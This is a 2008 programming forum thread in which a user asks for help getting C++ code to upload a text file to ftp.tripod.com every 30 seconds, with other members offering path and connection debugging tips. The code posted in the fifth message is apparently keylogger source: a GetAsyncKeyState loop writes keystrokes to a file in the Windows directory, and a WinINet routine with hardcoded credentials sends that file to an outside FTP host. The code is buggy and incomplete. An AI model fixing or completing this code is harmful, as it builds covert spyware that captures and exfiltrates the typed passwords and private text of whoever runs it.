12 Replies - 1390 Views - Last Post: 03 June 2008 - 08:18 PM Rate Topic: -----

#1 geolej  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 21
  • Joined: 02-June 08

sending files through c++

Posted 03 June 2008 - 05:00 PM

So the goal is to send a text file every 30 seconds to an ftp,
the problem i have is i knwo the file is created to c:\windows\school.txt but dont know if the code takes the file from the c: root, and there is no school.txt file also the code doesnt connect to the ftp apparently
reccomendations?

void fse() 
{ 
char *user="user"; 
char *pass="password"; 
char *ftpserver="ftp.tripod.com"; 
char *file;
HINTERNET hInternet; 
HINTERNET hFtpSession; 
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); 
hFtpSession = InternetConnect(hInternet,ftpserver , INTERNET_DEFAULT_FTP_PORT, user, pass, INTERNET_SERVICE_FTP, 0, 0); 
if(FtpPutFile(hFtpSession, file, "c:\\windows\\school.txt", FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_PASSIVE) == TRUE){ 
Sleep(30); 
InternetCloseHandle(hFtpSession); 
InternetCloseHandle(hInternet); 


}
}




Is This A Good Question/Topic? 0
  • +

Replies To: sending files through c++

#2 KYA  Icon User is offline

  • g++ jameson.cpp -o beverage
  • member icon

Reputation: 3105
  • View blog
  • Posts: 19,144
  • Joined: 14-September 07

Re: sending files through c++

Posted 03 June 2008 - 05:10 PM

edit: Stupid suggestion, I need to get more sleep

This post has been edited by KYA: 03 June 2008 - 07:31 PM

Was This Post Helpful? 0
  • +
  • -

#3 geolej  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 21
  • Joined: 02-June 08

Re: sending files through c++

Posted 03 June 2008 - 05:21 PM

well i changed and compiled but still see no changes in results :(

void fse() 
{ 
char *user="ludlezh"; 
char *pass="harry"; 
char *ftpserver="ftp.tripod.com"; 
char *file;
HINTERNET hInternet; 
HINTERNET hFtpSession; 
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); 
hFtpSession = InternetConnect(hInternet,ftpserver , INTERNET_DEFAULT_FTP_PORT, user, pass, INTERNET_SERVICE_FTP, 0, 0); 
if(FtpPutFile(hFtpSession, file, "c:/windows/school.txt", FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_PASSIVE) == TRUE){ 
Sleep(30); 
InternetCloseHandle(hFtpSession); 
InternetCloseHandle(hInternet); 


}
}


Was This Post Helpful? 0
  • +
  • -

#4 gabehabe  Icon User is offline

  • GabehabeSwamp
  • member icon




Reputation: 1382
  • View blog
  • Posts: 10,962
  • Joined: 06-February 08

Re: sending files through c++

Posted 03 June 2008 - 05:26 PM

:o KYA! We use two \s because one backslash refers to the next ASCII character!
eg:
'\92' and '\\'

But you can use a forward slash, too.

One thing to try is maybe it's case sensitive. windows is often WINDOWS. Try "C:\\WINDOWS\\school.txt"

I know I've had problems with case sensitive file names before :P

This post has been edited by gabehabe: 03 June 2008 - 05:26 PM

Was This Post Helpful? 0
  • +
  • -

#5 geolej  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 21
  • Joined: 02-June 08

Re: sending files through c++

Posted 03 June 2008 - 06:03 PM

nope, didnt help
if this helps you here is the other part of code i am using,
void fse() 
{ 
char *user="ludlezh"; 
char *pass="harry"; 
char *ftpserver="ftp.tripod.com"; 
char *file;
HINTERNET hInternet; 
HINTERNET hFtpSession; 
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); 
hFtpSession = InternetConnect(hInternet,ftpserver , INTERNET_DEFAULT_FTP_PORT, user, pass, INTERNET_SERVICE_FTP, 0, 0); 
if(FtpPutFile(hFtpSession, file, "C:\\WINDOWS\\school.txt", FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_PASSIVE) == TRUE){ 
Sleep(30); 
InternetCloseHandle(hFtpSession); 
InternetCloseHandle(hInternet); 


}
}

int main()
{
int i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//school.txt");
fse();

while(1){ 
Sleep(10);
for(i=8;i<=190;i++){

if (GetAsyncKeyState(i) == -32767)

{


keys (i,test);
}
}
}


Was This Post Helpful? 0
  • +
  • -

#6 geolej  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 21
  • Joined: 02-June 08

Re: sending files through c++

Posted 03 June 2008 - 06:42 PM

umm.... I still need help the file doesnt tranfer over ftp!
Was This Post Helpful? 0
  • +
  • -

#7 skater_00  Icon User is offline

  • D.I.C Regular
  • member icon

Reputation: 12
  • View blog
  • Posts: 256
  • Joined: 30-April 08

Re: sending files through c++

Posted 03 June 2008 - 06:51 PM

View PostKYA, on 4 Jun, 2008 - 02:10 AM, said:

At a quick glance your root path seems wrong. There should only be one backslash per level.

C:\WINDOWS\file.txt


:crazy: You think? :crazy: I don't think so.
Was This Post Helpful? 0
  • +
  • -

#8 KYA  Icon User is offline

  • g++ jameson.cpp -o beverage
  • member icon

Reputation: 3105
  • View blog
  • Posts: 19,144
  • Joined: 14-September 07

Re: sending files through c++

Posted 03 June 2008 - 07:16 PM

I learn something every day. My suggestion was stupid.

My apologzies


I am horribly ashamed of myself :(

This post has been edited by KYA: 03 June 2008 - 07:21 PM

Was This Post Helpful? 0
  • +
  • -

#9 geolej  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 21
  • Joined: 02-June 08

Re: sending files through c++

Posted 03 June 2008 - 07:59 PM

thats not helping me lol but,,,
I STILL NEED HELP i need this for tommorow gahhh my job depends on it!
Was This Post Helpful? 0
  • +
  • -

#10 no2pencil  Icon User is offline

  • Admiral Fancy Pants
  • member icon

Reputation: 5345
  • View blog
  • Posts: 27,296
  • Joined: 10-May 07

Re: sending files through c++

Posted 03 June 2008 - 08:01 PM

View Postgeolej, on 3 Jun, 2008 - 10:59 PM, said:

I STILL NEED HELP i need this for tommorow gahhh my job depends on it!

Your job? Actually that's funny, because yesterday it was due today for school...
Was This Post Helpful? 0
  • +
  • -

#11 geolej  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 21
  • Joined: 02-June 08

Re: sending files through c++

Posted 03 June 2008 - 08:12 PM

View Postno2pencil, on 3 Jun, 2008 - 08:01 PM, said:

View Postgeolej, on 3 Jun, 2008 - 10:59 PM, said:

I STILL NEED HELP i need this for tommorow gahhh my job depends on it!

Your job? Actually that's funny, because yesterday it was due today for school...


lol, you are very attentive moderator, i meant school but the point is i need help still cause i loose 10% everyday its late!
Was This Post Helpful? 0
  • +
  • -

#12 no2pencil  Icon User is offline

  • Admiral Fancy Pants
  • member icon

Reputation: 5345
  • View blog
  • Posts: 27,296
  • Joined: 10-May 07

Re: sending files through c++

Posted 03 June 2008 - 08:15 PM

View Postgeolej, on 3 Jun, 2008 - 08:00 PM, said:

the problem i have is i knwo the file is created to c:\windows\school.txt but dont know if the code takes the file from the c: root, and there is no school.txt file also the code doesnt connect to the ftp apparently
reccomendations?

Are you sure that your machine has ftp access?

Can you connect to the server manually, using the information you have in the code?
Was This Post Helpful? 0
  • +
  • -

#13 geolej  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 21
  • Joined: 02-June 08

Re: sending files through c++

Posted 03 June 2008 - 08:18 PM

I fi understand you correctly, I CAN connect to ftp.tripod.com with the user info i am providing in the code using windows explorere and can drag and copy files to it
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1